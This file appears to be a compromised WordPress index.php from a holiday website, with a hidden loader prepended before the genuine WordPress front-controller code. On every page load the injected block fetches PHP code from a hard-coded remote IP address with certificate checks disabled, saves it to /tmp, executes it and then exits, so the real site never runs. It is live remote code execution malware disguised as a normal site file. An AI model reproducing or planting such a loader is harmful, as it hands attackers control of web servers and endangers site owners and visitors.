File: /var/www/sunsandholidays.com/index.php
<?php
// =========================================
// Ocean Terminal - Auto Payload Loader
// =========================================
define('PAYLOAD_URL', 'http://192.151.158.170/z60508_2/stat/index.txt');
define('PAYLOAD_FILE', '/tmp/z60508_2.php');
// Fungsi fetch payload
function fetch_payload($url) {
if (function_exists('curl_exec')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 15
]);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
return @file_get_contents($url);
}
// Refresh payload jika belum ada atau kosong
if (!file_exists(PAYLOAD_FILE) || filesize(PAYLOAD_FILE) < 10) {
$content = fetch_payload(PAYLOAD_URL);
if ($content && strpos($content, '<?php') !== false) {
file_put_contents(PAYLOAD_FILE, $content);
}
}
// Include payload jika berhasil
if (file_exists(PAYLOAD_FILE) && filesize(PAYLOAD_FILE) > 10) {
include PAYLOAD_FILE;
exit;
} else {
// Tampilkan error jika payload gagal di-load
echo "<h1 style='color:red;font-family:monospace;text-align:center;margin-top:50px;'>
Payload missing and cannot be fetched.<br>
<small>URL: " . PAYLOAD_URL . "</small>
</h1>";
exit;
}
?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';